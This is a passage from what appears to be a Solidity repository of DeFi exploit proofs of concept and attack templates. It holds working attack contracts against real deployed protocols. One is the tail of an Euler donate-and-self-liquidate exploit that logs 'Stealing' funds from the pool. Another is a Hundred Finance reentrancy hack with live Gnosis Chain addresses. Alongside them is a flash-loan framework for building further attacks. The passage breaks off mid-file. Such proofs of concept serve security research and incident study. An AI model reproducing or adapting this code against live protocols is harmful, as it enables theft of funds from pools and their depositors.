| } 143 | 144 | function _executeAttack() internal override { 145 | 146 | violator = new Violator(); 147 | 148 | token.transfer(address(violator), flashAmount * 10**token.decimals()); 149 | executeOperation = violator.violator(address(this), flashAmount, mintAmount, donateAmount, maxWithdraw, token, eToken, dToken); 150 | } 151 | 152 | function _completeAttack() internal override { 153 | // Finish attack 154 | // This function is called after the flash loan is repayed 155 | } 156 | } 157 | 158 | contract Violator { 159 | 160 | Liquidator liquidator; 161 | 162 | constructor() public { 163 | liquidator = new Liquidator(); 164 | } 165 | 166 | function violator(address exploit, uint256 initialBalance, uint256 mintAmount, uint256 donateAmount, uint256 maxWithdraw, IERC20 token, EToken eToken, DToken dToken) external returns (bool) { 167 | 168 | token.approve(EulerProtocol.euler, type(uint256).max); 169 | 170 | eToken.deposit(0, (2 * initialBalance / 3) * 10**token.decimals()); 171 | eToken.mint(0, mintAmount * 10**token.decimals()); 172 | dToken.repay(0, (initialBalance / 3) * 10**token.decimals()); 173 | eToken.mint(0, mintAmount * 10**token.decimals()); 174 | eToken.donateToReserves(0, donateAmount * 10**eToken.decimals()); 175 | 176 | console.log("[*] Generated bad loan..."); 177 | console.log(" Collateral: %d Debt: %d", eToken.balanceOf(address(this))/10**eToken.decimals(), dToken.balanceOf(address(this))/10**dToken.decimals()); 178 | 179 | return liquidator.liquidate(exploit, initialBalance, mintAmount, donateAmount, maxWithdraw, address(this), token, eToken, dToken); 180 | } 181 | } 182 | 183 | contract Liquidator { 184 | 185 | function liquidate(address exploit, uint256 initialBalance, uint256 mintAmount, uint256 donateAmount, uint256 maxWithdraw, address violator, IERC20 token, EToken eToken, DToken dToken) external returns (bool) { 186 | 187 | ILiquidation.LiquidationOpportunity memory returnData = 188 | EulerProtocol.liquidation.checkLiquidation(address(this), violator, address(token), address(token)); 189 | 190 | EulerProtocol.liquidation.liquidate(violator, address(token), address(token), returnData.repay, returnData.yield-1); 191 | 192 | console.log("[*] Liquidated bad loan..."); 193 | console.log(" Collateral: %d Debt: %d Profit: %d", eToken.balanceOf(address(this))/10**eToken.decimals(), dToken.balanceOf(address(this))/10**dToken.decimals(), eToken.balanceOf(address(this))/10**eToken.decimals() - dToken.balanceOf(address(this))/10**dToken.decimals()); 194 | 195 | bool repeat = false; 196 | if (maxWithdraw * 10 ** token.decimals() < token.balanceOf(EulerProtocol.euler)) { 197 | console.log("[*] Stealing %d %s from Euler pool", maxWithdraw - initialBalance, token.symbol()); 198 | eToken.withdraw(0, maxWithdraw * 1e18); 199 | repeat = true; 200 | 201 | } else { 202 | console.log("[*] Stealing %d %s from Euler pool", token.balanceOf(EulerProtocol.euler) / 10**token.decimals() - initialBalance, token.symbol()); 203 | eToken.withdraw(0, token.balanceOf(EulerProtocol.euler)); 204 | } 205 | 206 | token.transfer(exploit, token.balanceOf(address(this))); 207 | 208 | return repeat; 209 | } 210 | } 211 | 212 | interface EToken { 213 | function deposit(uint256 subAccountId, uint256 amount) external; 214 | function mint(uint256 subAccountId, uint256 amount) external; 215 | function donateToReserves(uint256 subAccountId, uint256 amount) external; 216 | function withdraw(uint256 subAccountId, uint256 amount) external; 217 | function balanceOf(address) external returns (uint256); 218 | function decimals() external returns (uint256); 219 | } 220 | 221 | interface DToken { 222 | function repay(uint256 subAccountId, uint256 amount) external; 223 | function balanceOf(address) external returns (uint256); 224 | function decimals() external returns (uint256); 225 | } 226 | 227 | interface ILiquidation { 228 | struct LiquidationOpportunity { 229 | uint256 repay; 230 | uint256 yield; 231 | uint256 healthScore; 232 | uint256 baseDiscount; 233 | uint256 discount; 234 | uint256 conversionRate; 235 | } 236 | 237 | function liquidate( 238 | address violator, 239 | address underlying, 240 | address collateral, 241 | uint256 repay, 242 | uint256 maxWithdraw 243 | ) external; 244 | function checkLiquidation( 245 | address liquidator, 246 | address violator, 247 | address underlying, 248 | address collateral 249 | ) external returns (LiquidationOpportunity memory liqOpp); 250 | } -------------------------------------------------------------------------------- /pocs/HundredFinanceHack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../src/flashloan/FlashLoan.sol"; 4 | import "../src/reentrancy/Reentrancy.sol"; 5 | import "../src/tokens/Tokens.sol"; 6 | 7 | import "forge-std/interfaces/IERC20.sol"; 8 | import "forge-std/console.sol"; 9 | 10 | contract HundredFinanceHack is FlashLoan, Reentrancy { 11 | // Hundred Finance Markets on Gnosis Chain 12 | IERC20 constant husd = IERC20(0x243E33aa7f6787154a8E59d3C27a66db3F8818ee); 13 | IERC20 constant hxdai = IERC20(0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE); 14 | IERC20 constant wxdai = IERC20(0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d); 15 | // Curve exchange address to swap tokens for flash loan repayment 16 | ICurve constant curve = ICurve(0x7f90122BF0700F9E7e1F688fe926940E8839F353); 17 | bool borrowedXdai; 18 | uint256 totalFlashloaned; 19 | 20 | function initiateAttack() external { 21 | console.log("USDC balance before:", GnosisTokens.USDC.balanceOf(address(this))); 22 | 23 | // Setup token pair and amounts to flash loan from UniswapV2 24 | address[] memory tokens = new address[](2); 25 | tokens[0] = address(GnosisTokens.USDC); 26 | tokens[1] = address(wxdai); 27 | uint256[] memory amounts = new uint256[](2); 28 | amounts[0] = 2117765617657; 29 | amounts[1] = 0; 30 | 31 | // Trigger the flash loan from the passed provider 32 | // This will call _executeAttack which has logic to determine if it's in the flash loan callback 33 | takeFlashLoan(FlashLoanProviders.UNISWAPV2, tokens, amounts); 34 | console.log("USDC balance after:", GnosisTokens.USDC.balanceOf(address(this))); 35 | } 36 | 37 | function _executeAttack() internal override(FlashLoan, Reentrancy) { 38 | if (msg.sig == this.onTokenTransfer.selector) { 39 | // Check we entered _executeAttack from the token callback 40 | // Decode the parameters passed to the token transfer callback, `onTokenTransfer(address, uint256, bytes memory)` 41 | (address from,,) = abi.decode(msg.data[4:], (address, uint256, bytes)); 42 | 43 | // If we're currently borrowing usdc and we haven't already borrowed xdai, 44 | // reenter a different Hundred Finance market and borrow xdai tokens 45 | if (from == address(husd) && !borrowedXdai) { 46 | borrowedXdai = true; 47 | uint256 amount = (totalFlashloaned * 1e12) * 60 / 100; 48 | 49 | // Borrow xdai agaist the same usdc collateral, since the initial borrow transaction hasn't completed 50 | // we can reuse the collateral 51 | ICompoundToken(address(hxdai)).borrow(amount); 52 | } 53 | } else if (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV2) { 54 | // Check that our current flash loan provider is Uniswap 55 | console.log("USDC balance after flash loan:", GnosisTokens.USDC.balanceOf(address(this))); 56 | 57 | // Decode the parameters passed to the flash loan callback function, `uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data)` 58 | (, uint256 amount0, uint256 amount1,) = abi.decode(msg.data[4:], (address, uint256, uint256, bytes)); 59 | totalFlashloaned = amount0 == 0 ? amount1 : amount0; 60 | 61 | // Deposit usdc to Hundred Finance as collateral and receive husd in return 62 | uint256 balance = GnosisTokens.USDC.balanceOf(address(this)); 63 | GnosisTokens.USDC.approve(address(husd), balance); 64 | ICompoundToken(address(husd)).mint(balance); 65 | 66 | // Borrow usdc agaist our minted husd 67 | // This triggers a token callback on our contract through the transfer of usdc 68 | uint256 amount = (totalFlashloaned * 90) / 100; 69 | ICompoundToken(address(husd)).borrow(amount); 70 | 71 | console.log("Attacker USDC balance after borrow: %s USDC", GnosisTokens.USDC.balanceOf(address(this))); 72 | console.log("Attacker xdai balance after borrow: %s XDAI", address(this).balance); 73 | } 74 | } 75 | 76 | function _completeAttack() internal override(FlashLoan, Reentrancy) { 77 | // Swap xdai to usdc to repay our flash loan 78 | IWETH(payable(address(wxdai))).deposit{value: address(this).balance}(); 79 | wxdai.approve(address(curve), wxdai.balanceOf(address(this))); 80 | curve.exchange(0, 1, wxdai.balanceOf(address(this)), 1); 81 | console.log("Attacker USDC balance after swap: %s USDC", GnosisTokens.USDC.balanceOf(address(this))); 82 | console.log("Attacker xdai balance after swap: %s XDAI", address(this).balance); 83 | } 84 | 85 | // Our contract needs to implement this function to be able to receive Gnosis chain's native asset, xdai 86 | receive() external payable override {} 87 | 88 | function _reentrancyCallback() internal override { 89 | // Overrided to silence the console log 90 | _executeAttack(); 91 | } 92 | 93 | fallback() external payable override(FlashLoan, Reentrancy) { 94 | // Default to the flash loan fallback logic 95 | FlashLoan._fallback(); 96 | } 97 | } 98 | 99 | interface ICompoundToken { 100 | function borrow(uint256) external; 101 | function mint(uint256) external; 102 | function comptroller() external view returns (address); 103 | } 104 | 105 | interface IWETH { 106 | function deposit() external payable; 107 | } 108 | 109 | interface ICurve { 110 | function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external; 111 | } 112 | -------------------------------------------------------------------------------- /remappings.txt: -------------------------------------------------------------------------------- 1 | ds-test/=lib/forge-std/lib/ds-test/src/ 2 | forge-std/=lib/forge-std/src/ 3 | @openzeppelin/contracts=lib/openzeppelin-contracts/contracts/ 4 | @openzeppelin/contract-upgradeable=lib/openzeppelin-contracts-upgradeable/contracts/ 5 | @uniswap-v2-core/=lib/uniswap-v2-core/contracts/ 6 | @uniswap-v2-periphery/=lib/uniswap-v2-periphery/contracts/ -------------------------------------------------------------------------------- /src/FlashLoanTemplate.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "./flashloan/FlashLoan.sol"; 4 | import "./tokens/Tokens.sol"; 5 | 6 | import "forge-std/console.sol"; 7 | 8 | contract FlashLoanTemplate is FlashLoan, Tokens { 9 | function initiateAttack() external { 10 | // Take flash loan on some token 11 | deal(EthereumTokens.DAI, address(this), 900000000000000); 12 | takeFlashLoan(FlashLoanProviders.AAVEV1, address(EthereumTokens.DAI), 1 ether); 13 | } 14 | 15 | function _executeAttack() internal override { 16 | // Execute attack and use flash loaned funds here 17 | } 18 | 19 | function _completeAttack() internal override { 20 | // Finish attack 21 | // This function is called after the flash loan is repayed 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/PriceManipulationTemplate.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "./pricemanipulation/PriceManipulation.sol"; 4 | import "./tokens/Tokens.sol"; 5 | 6 | import "forge-std/console.sol"; 7 | 8 | contract PriceManipulationTemplate is PriceManipulation, Tokens { 9 | // stETH / ETH Curve pool 10 | ICurvePool pool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022); 11 | 12 | function initiateAttack() external { 13 | // In this example we are dealing ETH and stETH to an attacker to use for price manipulation 14 | // of the stETH / ETH Curve pool. This allows us to manipulate the virtual price of the asset 15 | // for an attack on a protocol which relies on the data from this oracle 16 | deal(EthereumTokens.NATIVE_ASSET, address(this), 100000e18); 17 | // Submit half our ETH to the stETH contract to get the stETH we need 18 | IstETH(address(EthereumTokens.stETH)).submit{value: 50000e18}(address(0x0)); 19 | console.log("Virtual price before:", pool.get_virtual_price()); 20 | manipulatePrice(PriceManipulationProviders.CURVE, EthereumTokens.ETH, EthereumTokens.stETH, 50000e18, 50000e18); 21 | _completeAttack(); 22 | } 23 | 24 | function _executeAttack() internal override { 25 | // Execute attack and use flash loaned funds here 26 | console.log("Virtual price during:", pool.get_virtual_price()); 27 | } 28 | 29 | function _completeAttack() internal override { 30 | // Finish attack 31 | console.log("Virtual price after :", pool.get_virtual_price()); 32 | } 33 | } 34 | 35 | interface ICurvePool { 36 | function get_virtual_price() external view returns (uint256); 37 | } 38 | 39 | interface IstETH { 40 | function submit(address referrel) external payable; 41 | } 42 | -------------------------------------------------------------------------------- /src/ReentrancyTemplate.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "./reentrancy/Reentrancy.sol"; 4 | 5 | import "forge-std/console.sol"; 6 | 7 | contract ReentrancyTemplate is Reentrancy { 8 | // The victim to perform reentrancy attack on 9 | address target; 10 | 11 | constructor(address victim) { 12 | target = victim; 13 | } 14 | /** 15 | * @dev Initiates the reentrancy attack. Make any calls to the target contract, and continue reentrancy attack in the below callback function 16 | */ 17 | 18 | function initiateAttack() external { 19 | // Initiate call to the target contract 20 | console.log("Initiating attack on %s", target); 21 | 22 | // TODO: Modify the attack here to initiate reentrancy in your victim 23 | // Interface(target).someFunction(); 24 | } 25 | 26 | function _executeAttack() internal override { 27 | // TODO: Modify the attack here 28 | } 29 | 30 | function _completeAttack() internal override { 31 | console.log("Attacker balance after %s", address(this).balance); 32 | // TODO: Modify the attack cleanup here 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/TokenTemplate.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "./tokens/Tokens.sol"; 4 | 5 | contract TokenTemplate is Tokens { 6 | function initiateAttack() external { 7 | //deal(EthereumTokens.USDC, address(this), 1 ether); 8 | // TODO: Modify the attack here 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/flashloan/FlashLoan.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/interfaces/IERC20.sol"; 4 | 5 | import "./FlashLoanProvider.sol"; 6 | 7 | import "forge-std/console.sol"; 8 | 9 | abstract contract FlashLoan { 10 | using FlashLoanProvider for FlashLoanProviders; 11 | 12 | /** 13 | * @dev Flash loan provider call stack 14 | */ 15 | FlashLoanProviders[] internal _flps; 16 | 17 | /** 18 | * @dev Allows a user to take a flash loan from a specified FlashloanProvider 19 | * @param flp The flash loan provider to take the loan from 20 | * @param tokens The addresses of the tokens to borrow 21 | * @param amounts The amounts of the tokens to borrow 22 | */ 23 | function takeFlashLoan(FlashLoanProviders flp, IERC20[] memory tokens, uint256[] memory amounts) internal virtual { 24 | address[] memory tkns = new address[](tokens.length); 25 | for (uint256 i = 0; i < tokens.length; i++) { 26 | console.log( 27 | ">>> Taking flashloan of %s %s from FlashLoanProviders[%s]", 28 | amounts[i], 29 | address(tokens[i]), 30 | uint256(flp) 31 | ); 32 | tkns[i] = address(tokens[i]); 33 | } 34 | _flps.push(flp); 35 | flp.takeFlashLoan(tkns, amounts); 36 | } 37 | 38 | /** 39 | * @dev Allows a user to take a flash loan from a specified FlashloanProvider 40 | * @param flp The flash loan provider to take the loan from 41 | * @param tokens The addresses of the tokens to borrow 42 | * @param amounts The amounts of the tokens to borrow 43 | */ 44 | function takeFlashLoan(FlashLoanProviders flp, address[] memory tokens, uint256[] memory amounts) 45 | internal 46 | virtual 47 | { 48 | for (uint256 i = 0; i < tokens.length; i++) { 49 | console.log( 50 | ">>> Taking flashloan of %s %s from FlashLoanProviders[%s]", amounts[i], tokens[i], uint256(flp) 51 | ); 52 | } 53 | _flps.push(flp); 54 | flp.takeFlashLoan(tokens, amounts); 55 | } 56 | 57 | /** 58 | * @dev Allows a user to take a flash loan from a specified FlashloanProvider 59 | * @param flp The address of the flash loan provider to take the loan from 60 | * @param token The address of the token to borrow 61 | * @param amount The amount of the token to borrow 62 | */ 63 | function takeFlashLoan(FlashLoanProviders flp, IERC20 token, uint256 amount) internal virtual { 64 | takeFlashLoan(flp, address(token), amount); 65 | } 66 | 67 | /** 68 | * @dev Allows a user to take a flash loan from a specified FlashloanProvider 69 | * @param flp The address of the flash loan provider to take the loan from 70 | * @param token The address of the token to borrow 71 | * @param amount The amount of the token to borrow 72 | */ 73 | function takeFlashLoan(FlashLoanProviders flp, address token, uint256 amount) internal virtual { 74 | console.log(">>> Taking flashloan of %s %s from FlashLoanProviders[%s]", amount, token, uint256(flp)); 75 | _flps.push(flp); 76 | flp.takeFlashLoan(token, amount); 77 | _flps.pop(); 78 | } 79 | 80 | /** 81 | * @dev Returns the top most provider from the call stack 82 | * @return flp The current flash loan provider context 83 | */ 84 | function currentFlashLoanProvider() internal view returns (FlashLoanProviders flp) { 85 | if (_flps.length > 0) { 86 | return _flps[_flps.length - 1]; 87 | } 88 | return FlashLoanProviders.NONE; 89 | } 90 | 91 | /** 92 | * @dev Executes the attack logic for the flash loan 93 | */ 94 | function _executeAttack() internal virtual; 95 | 96 | /** 97 | * @dev Completes the attack logic and finalizes the flash loan 98 | */ 99 | function _completeAttack() internal virtual; 100 | 101 | function _fallback() internal virtual { 102 | console.log(">>> Execute attack"); 103 | _executeAttack(); 104 | if (_flps.length > 0) { 105 | FlashLoanProviders flp = currentFlashLoanProvider(); 106 | if (flp.callbackFunctionSelector() == bytes4(msg.data[:4])) { 107 | console.log(">>> Attack completed successfully"); 108 | _completeAttack(); 109 | console.log(">>> Pay back flash loan"); 110 | flp.payFlashLoan(); 111 | bytes memory returnData = flp.returnData(); 112 | assembly { 113 | let len := mload(returnData) 114 | return(add(returnData, 0x20), len) 115 | } 116 | } 117 | } 118 | } 119 | 120 | /** 121 | * @dev Fallback function that executes the attack logic, pays back the flash loan, and finalizes the attack 122 | * @dev First checks if there are any flash loans on the call stack 123 | * @dev Verifies the function selector matches the current providers callback function selector 124 | */ 125 | fallback() external payable virtual { 126 | _fallback(); 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /src/flashloan/FlashLoanProvider.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import {AAVEV1FlashLoan} from "./lib/AAVEV1FlashLoan.sol"; 4 | import {AAVEV2FlashLoan} from "./lib/AAVEV2FlashLoan.sol"; 5 | import {AAVEV3FlashLoan} from "./lib/AAVEV3FlashLoan.sol"; 6 | import {EulerFlashLoan} from "./lib/EulerFlashLoan.sol"; 7 | import {BalancerFlashLoan} from "./lib/BalancerFlashLoan.sol"; 8 | import {MakerDAOFlashLoan} from "./lib/MakerDAOFlashLoan.sol"; 9 | import {UniswapV2FlashLoan} from "./lib/UniswapV2FlashLoan.sol"; 10 | import {UniswapV3FlashLoan} from "./lib/UniswapV3FlashLoan.sol"; 11 | 12 | enum FlashLoanProviders { 13 | NONE, 14 | AAVEV1, 15 | AAVEV2, 16 | AAVEV3, 17 | BALANCER, 18 | EULER, 19 | MAKERDAO, 20 | UNISWAPV2, 21 | UNISWAPV3 22 | } 23 | 24 | library FlashLoanProvider { 25 | /** 26 | * @dev Allows a user to take a flash loan from a specified FlashloanProvider 27 | * @param flp The flash loan provider to take the loan from 28 | * @param tokens The addresses of the tokens to borrow 29 | * @param amounts The amounts of the tokens to borrow 30 | */ 31 | function takeFlashLoan(FlashLoanProviders flp, address[] memory tokens, uint256[] memory amounts) internal { 32 | if (flp == FlashLoanProviders.BALANCER) { 33 | BalancerFlashLoan.takeFlashLoan(tokens, amounts); 34 | } else if (flp == FlashLoanProviders.UNISWAPV2) { 35 | UniswapV2FlashLoan.takeFlashLoan(tokens, amounts); 36 | } else if (flp == FlashLoanProviders.AAVEV2) { 37 | AAVEV3FlashLoan.takeFlashLoan(tokens, amounts); 38 | } else if (flp == FlashLoanProviders.AAVEV3) { 39 | AAVEV3FlashLoan.takeFlashLoan(tokens, amounts); 40 | } else { 41 | revert("FlashLoanProvider: Provider doesn't support multiple token flash loans"); 42 | } 43 | } 44 | 45 | /** 46 | * @dev Allows a user to take a flash loan from a specified FlashloanProvider 47 | * @param flp The flashloan provider to take the loan from 48 | * @param token The address of the token to borrow 49 | * @param amount The amount of the token to borrow 50 | */ 51 | function takeFlashLoan(FlashLoanProviders flp, address token, uint256 amount) internal { 52 | if (flp == FlashLoanProviders.AAVEV1) { 53 | AAVEV1FlashLoan.takeFlashLoan(token, amount); 54 | } else if (flp == FlashLoanProviders.AAVEV2) { 55 | AAVEV2FlashLoan.takeFlashLoan(token, amount); 56 | } else if (flp == FlashLoanProviders.AAVEV3) { 57 | AAVEV3FlashLoan.takeFlashLoan(token, amount); 58 | } else if (flp == FlashLoanProviders.BALANCER) { 59 | BalancerFlashLoan.takeFlashLoan(token, amount); 60 | } else if (flp == FlashLoanProviders.EULER) { 61 | EulerFlashLoan.takeFlashLoan(token, amount); 62 | } else if (flp == FlashLoanProviders.MAKERDAO) { 63 | MakerDAOFlashLoan.takeFlashLoan(token, amount); 64 | } else if (flp == FlashLoanProviders.UNISWAPV2) { 65 | UniswapV2FlashLoan.takeFlashLoan(token, amount); 66 | } else if (flp == FlashLoanProviders.UNISWAPV3) { 67 | UniswapV3FlashLoan.takeFlashLoan(token, amount); 68 | } else { 69 | revert("FlashLoanProvider: Provider doesn't support single token flash loans"); 70 | } 71 | } 72 | 73 | /** 74 | * @dev Pay back the flash loan to the specified flashloan provider 75 | * @param flp The flashloan provider to pay the loan back to 76 | */ 77 | function payFlashLoan(FlashLoanProviders flp) internal { 78 | if (flp == FlashLoanProviders.AAVEV1) { 79 | AAVEV1FlashLoan.payFlashLoan(msg.data); 80 | } else if (flp == FlashLoanProviders.AAVEV2) { 81 | AAVEV2FlashLoan.payFlashLoan(msg.data); 82 | } else if (flp == FlashLoanProviders.AAVEV3) { 83 | AAVEV3FlashLoan.payFlashLoan(msg.data); 84 | } else if (flp == FlashLoanProviders.BALANCER) { 85 | BalancerFlashLoan.payFlashLoan(msg.data); 86 | } else if (flp == FlashLoanProviders.EULER) { 87 | EulerFlashLoan.payFlashLoan(msg.data); 88 | } else if (flp == FlashLoanProviders.MAKERDAO) { 89 | MakerDAOFlashLoan.payFlashLoan(msg.data); 90 | } else if (flp == FlashLoanProviders.UNISWAPV2) { 91 | UniswapV2FlashLoan.payFlashLoan(msg.data); 92 | } else if (flp == FlashLoanProviders.UNISWAPV3) { 93 | UniswapV3FlashLoan.payFlashLoan(msg.data); 94 | } else { 95 | revert("FlashLoanProvider: Flash loan provider not supported"); 96 | } 97 | } 98 | 99 | /** 100 | * @dev Gets the bytes4 function selector for the intended flash loan callback 101 | * @param flp The flashloan provider to get the callback selector of 102 | */ 103 | function callbackFunctionSelector(FlashLoanProviders flp) internal pure returns (bytes4) { 104 | if (flp == FlashLoanProviders.AAVEV1) { 105 | return AAVEV1FlashLoan.CALLBACK_SELECTOR; 106 | } else if (flp == FlashLoanProviders.AAVEV2) { 107 | return AAVEV2FlashLoan.CALLBACK_SELECTOR; 108 | } else if (flp == FlashLoanProviders.AAVEV3) { 109 | return AAVEV3FlashLoan.CALLBACK_SELECTOR; 110 | } else if (flp == FlashLoanProviders.BALANCER) { 111 | return BalancerFlashLoan.CALLBACK_SELECTOR; 112 | } else if (flp == FlashLoanProviders.EULER) { 113 | return EulerFlashLoan.CALLBACK_SELECTOR; 114 | } else if (flp == FlashLoanProviders.MAKERDAO) { 115 | return MakerDAOFlashLoan.CALLBACK_SELECTOR; 116 | } else if (flp == FlashLoanProviders.UNISWAPV2) { 117 | return UniswapV2FlashLoan.CALLBACK_SELECTOR; 118 | } else if (flp == FlashLoanProviders.UNISWAPV3) { 119 | return UniswapV3FlashLoan.CALLBACK_SELECTOR; 120 | } 121 | } 122 | 123 | /** 124 | * @dev Gets the bytes32 return data for the intended flash loan callback 125 | * @param flp The flashloan provider to get the return data of 126 | */ 127 | function returnData(FlashLoanProviders flp) internal pure returns (bytes memory) { 128 | if (flp == FlashLoanProviders.MAKERDAO) { 129 | return MakerDAOFlashLoan.RETURN_DATA; 130 | } else if (flp == FlashLoanProviders.AAVEV2) { 131 | return AAVEV2FlashLoan.RETURN_DATA; 132 | } else if (flp == FlashLoanProviders.AAVEV3) { 133 | return AAVEV3FlashLoan.RETURN_DATA; 134 | } 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /src/flashloan/README.md: -------------------------------------------------------------------------------- 1 | ## Vulnerability Type 2 | This template is for getting started with attack PoCs which use flash loans. The flash loan template supports flash loans from the following protocols/chains: 3 | 4 |
5 | 6 | 7 | ### Ethereum 8 | 9 | 10 | | Network | Protocol | Library | 11 | | ---------- | -------- | ------------------------------------------------------- | 12 | | Ethereum | AAVEV1 | [AAVEV1FlashLoan](./lib/AAVEV1FlashLoan.sol) | 13 | | Ethereum | Euler | [EulerFlashLoan](./lib/EulerFlashLoan.sol) | 14 | | Ethereum | Balancer | [BalancerFlashLoan](./lib/BalancerFlashLoan.sol) | 15 | | Ethereum | MakerDAO | [MakerDAOFlashLoan](./lib/MakerDAOFlashLoan.sol) | 16 | | Ethereum | UniswapV2 | [UniswapV2FlashLoan](./lib/UniswapV2FlashLoan.sol) | 17 | | Ethereum | UniswapV3 | [UniswapV3FlashLoan](./lib/UniswapV3FlashLoan.sol) | 18 | 19 |
20 |
21 | 22 | 23 | ### Gnosis 24 | 25 | 26 | | Network | Protocol | Library | 27 | | ---------- | -------- | ------------------------------------------------------- | 28 | | Gnosis | UNISWAPV2 | [UniswapV2FlashLoan](./lib/UniswapV2FlashLoan.sol) | 29 | 30 |
31 |
32 | 33 | 34 | ### Optimism 35 | 36 | 37 | | Network | Protocol | Library | 38 | | ---------- | -------- | ------------------------------------------------------- | 39 | | Optimism | AAVEV3 | [AAVEV3FlashLoan](./lib/AAVEV3FlashLoan.sol) | 40 | 41 |
42 |
43 | 44 | 45 | ### Arbitrum 46 | 47 | 48 | | Network | Protocol | Library | 49 | | ---------- | -------- | ------------------------------------------------------- | 50 | | Arbitrum | AAVEV3 | [AAVEV3FlashLoan](./lib/AAVEV3FlashLoan.sol) | 51 | 52 |
53 |
54 | 55 | 56 | ### Polygon 57 | 58 | 59 | | Network | Protocol | Library | 60 | | ---------- | -------- | ------------------------------------------------------- | 61 | | Polygon | AAVEV3 | [AAVEV3FlashLoan](./lib/AAVEV3FlashLoan.sol) | 62 | 63 |
64 |
65 | 66 | 67 | ### Fantom 68 | 69 | 70 | | Network | Protocol | Library | 71 | | ---------- | -------- | ------------------------------------------------------- | 72 | | Fantom | AAVEV3 | [AAVEV3FlashLoan](./lib/AAVEV3FlashLoan.sol) | 73 | 74 |
75 |
76 | 77 | 78 | ### Avalanche 79 | 80 | 81 | | Network | Protocol | Library | 82 | | ---------- | -------- | ------------------------------------------------------- | 83 | | Avalanche | AAVEV3 | [AAVEV3FlashLoan](./lib/AAVEV3FlashLoan.sol) | 84 | 85 |
86 | 87 | ## Usage 88 | The following attack contract demonstrate simple flash loan usage. 89 | * [FlashLoanExample](./examples/FlashLoanExample.sol) 90 | 91 | 92 | Extend the FlashLoan contract and implement the following functions: 93 | ```Solidity 94 | contract Attack is FlashLoan { 95 | function initiateAttack() external { } 96 | function _executeAttack() internal override { } 97 | function _completeAttack() internal override { } 98 | } 99 | ``` 100 | Call `takeFlashLoan(FlashLoanProviders flp, address token, uint256 amount)` in `initiateAttack()` to trigger your attack. 101 | 102 | The following attack contract demonstrate multi provider flash loan usage. 103 | * [MultiProviderFlashLoanExample](./examples/MultiProviderFlashLoanExample.sol) 104 | 105 | Each time a flash loan is taken, the `_executeAttack()` function is called when the provider calls the flash loan callback. The context of the current execution call can be determined by calling `currentProvider()`, which returns the Flash Loan Provider which initiated the callback. This can be used as a state machine to execute stages of an attack. See the example for more. Flash loan repayment is handled automatically by the flash loan `_fallback()` handler. 106 | 107 | 108 | > 🚨 Multiple flash loans cannot be taken from the same provider due to reentrancy protections. If you need to flash loan multiple tokens, you will have to use multiple providers unless the provider specifically supports multi-token flash loans. 109 | -------------------------------------------------------------------------------- /src/flashloan/examples/FlashLoanExample.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../FlashLoan.sol"; 4 | import "../../tokens/Tokens.sol"; 5 | 6 | import "forge-std/console.sol"; 7 | 8 | contract FlashLoanExample is FlashLoan, Tokens { 9 | FlashLoanProviders internal _flp; 10 | 11 | function initiateAttack(FlashLoanProviders flp) external { 12 | _flp = flp; 13 | uint256 fee; 14 | if (flp == FlashLoanProviders.AAVEV1 || flp == FlashLoanProviders.AAVEV3) { 15 | fee = 900000000000000; 16 | } else if (flp == FlashLoanProviders.UNISWAPV2) { 17 | fee = 3009027081243732; 18 | } else if (flp == FlashLoanProviders.UNISWAPV3) { 19 | fee = 500000000000000 + 1; 20 | } 21 | deal(EthereumTokens.DAI, address(this), fee); 22 | console.log("DAI BALANCE BEFORE:", EthereumTokens.DAI.balanceOf(address(this))); 23 | takeFlashLoan(flp, address(EthereumTokens.DAI), 1 ether); 24 | } 25 | 26 | function _executeAttack() internal override { 27 | console.log("DAI BALANCE DURING:", EthereumTokens.DAI.balanceOf(address(this))); 28 | if (currentFlashLoanProvider() == FlashLoanProviders.AAVEV1) { 29 | // Execute attack with funds from AAVEV1 30 | } 31 | } 32 | 33 | function _completeAttack() internal override { 34 | console.log("DAI BALANCE AFTER :", EthereumTokens.DAI.balanceOf(address(this))); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/flashloan/examples/MultiProviderFlashLoanExample.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../FlashLoan.sol"; 4 | import "../../tokens/Tokens.sol"; 5 | 6 | import "forge-std/console.sol"; 7 | 8 | contract MultiProviderFlashLoanExample is FlashLoan, Tokens { 9 | function initiateAttack() external { 10 | deal(EthereumTokens.DAI, address(this), 1 ether); 11 | console.log("DAI BALANCE BEFORE:", EthereumTokens.DAI.balanceOf(address(this))); 12 | takeFlashLoan(FlashLoanProviders.UNISWAPV3, address(EthereumTokens.DAI), 1 ether); 13 | } 14 | 15 | function _executeAttack() internal override { 16 | console.log("DAI BALANCE DURING:", EthereumTokens.DAI.balanceOf(address(this))); 17 | if (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV3) { 18 | takeFlashLoan(FlashLoanProviders.AAVEV1, address(EthereumTokens.DAI), 1 ether); 19 | } else if (currentFlashLoanProvider() == FlashLoanProviders.AAVEV1) { 20 | // Execute attack with funds from UNISWAPV3 and AAVE 21 | } 22 | } 23 | 24 | function _completeAttack() internal override { 25 | console.log("DAI BALANCE AFTER :", EthereumTokens.DAI.balanceOf(address(this))); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/flashloan/lib/AAVEV1FlashLoan.sol: -------------------------------------------------------------------------------- 1 | pragma 